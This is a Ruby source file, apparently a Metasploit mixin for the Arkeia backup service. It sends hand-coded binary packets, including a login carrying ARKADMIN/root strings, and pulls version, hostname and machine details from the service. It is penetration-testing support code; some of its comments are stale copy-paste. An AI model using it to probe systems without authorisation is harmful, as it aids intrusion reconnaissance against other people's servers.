require 'msf/core' module Msf ### # # This module exposes methods for manipulating the Arkeia backup service # ### module Exploit::Remote::Arkeia include Exploit::Remote::Tcp # # Creates an instance of a MSSQL exploit module. # def initialize(info = {}) super # Register the options that all FTP exploits may make use of. register_options( [ Opt::RHOST, Opt::RPORT(617), ], Msf::Exploit::Remote::Arkeia) self.recv_buff = '' end # # Flush the receive buffer on a new connection # def connect super self.recv_buff = '' end # # This method dumps some information about the service # def arkeia_info connect info = { } resp = '' # Authenticate1 req = "\x00\x41\x00\x00\x00\x00\x00\x73"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x7f\x00\x00\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x01\x00\x00\x7f\x41\x52\x4b\x41"+ "\x44\x4d\x49\x4e\x00\x72\x6f\x6f"+ "\x74\x00\x72\x6f\x6f\x74\x00\x00"+ "\x00\x34\x2e\x33\x2e\x30\x2d\x31"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00" sock.put(req) resp = arkeia_recv() if !(resp and resp[0,4] == "\x00\x60\x00\x04") disconnect return false end # Authenticate2 req = "\x00\x73\x00\x00\x00\x00\x00\x0c" + "\x32\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00" sock.put(req) resp = arkeia_recv() if !(resp and resp[0,4] == "\x00\x60\x00\x04") disconnect return false end # SessionSetup1 req = "\x00\x61\x00\x04\x00\x01\x00\x15"+ "\x00\x00\x31\x35\x33\x39\x38\x00"+ "\x45\x4e\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00" sock.put(req) resp = arkeia_recv() if !(resp and resp[0,4] == "\x00\x43\x00\x00") disconnect return false end # Begin the ARKADMIN_GET_CLIENT_INFO request req = "\x00\x62\x00\x01\x00\x02\x00\x25"+ "\x41\x52\x4b\x41\x44\x4d\x49\x4e"+ "\x5f\x47\x45\x54\x5f\x43\x4c\x49"+ "\x45\x4e\x54\x5f\x49\x4e\x46\x4f"+ "\x00\x32\x00\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00" sock.put(req) resp = arkeia_recv() if !(resp and resp[0,4] == "\x00\x43\x00\x00") disconnect return false end # Complete the ARKADMIN_GET_CLIENT_INFO request req = "\x00\x63\x00\x04\x00\x03\x00\x11"+ "\x30\x00\x31\x00\x32\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00" sock.put(req) 1.upto(5) { |i| resp = arkeia_recv() break if not resp break if resp =~ /VERSION/ } if !(resp and resp =~ /VERSION/) disconnect return false end # Store the version information mver = resp.match(/IVERSION\x00([^\x00]+)/) info['Version'] = mver[1] if mver # Store the hostname information mver = resp.match(/ISERVNAME\x00([^\x00]+)/) info['Hostname'] = mver[1] if mver # Begin the ARKADMIN_GET_MACHINE_INFO request req = "\x00\x62\x00\x01\x00\x02\x00\x26"+ "\x41\x52\x4b\x41\x44\x4d\x49\x4e"+ "\x5f\x47\x45\x54\x5f\x4d\x41\x43"+ "\x48\x49\x4e\x45\x5f\x49\x4e\x46"+ "\x4f\x00\x33\x00\x00\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00" sock.put(req) 1.upto(5) { |i| resp = arkeia_recv() break if not resp break if resp[0,2] == "\x00\x43" } if !(resp and resp[0,2] == "\x00\x43") disconnect return info end # Complete the ARKADMIN_GET_MACHINE_INFO request req = "\x00\x63\x00\x04\x00\x03\x00\x11"+ "\x30\x00\x31\x00\x33\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x00"+ "\x00" sock.put(req) 1.upto(5) { |i| resp = arkeia_recv() break if !(resp and resp.length > 0) break if resp[0,2] == "\x00\x69" } if !(resp and resp[0,2] == "\x00\x69") disconnect return info end # Finally, parse out and store all the parameters resp.split("TPVALUE\x00").each { |x| minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/) if (minf) info[ minf[2] ] = minf[1] end } disconnect return info end # # This method reads from the socket and parses out a single # arkeia response, buffering the rest # def arkeia_recv(nsock = self.sock) if (self.recv_buff.length < 8) self.recv_buff << (sock.get_once || '') end if (self.recv_buff.length < 8) return false end # Read the length header out of the message dlen = self.recv_buff[6, 2].unpack('n')[0] # Do we have the entire response message? if (self.recv_buff.length >= dlen + 8) return self.recv_buff.slice!(0, dlen + 8) end return false end attr_accessor :recv_buff end end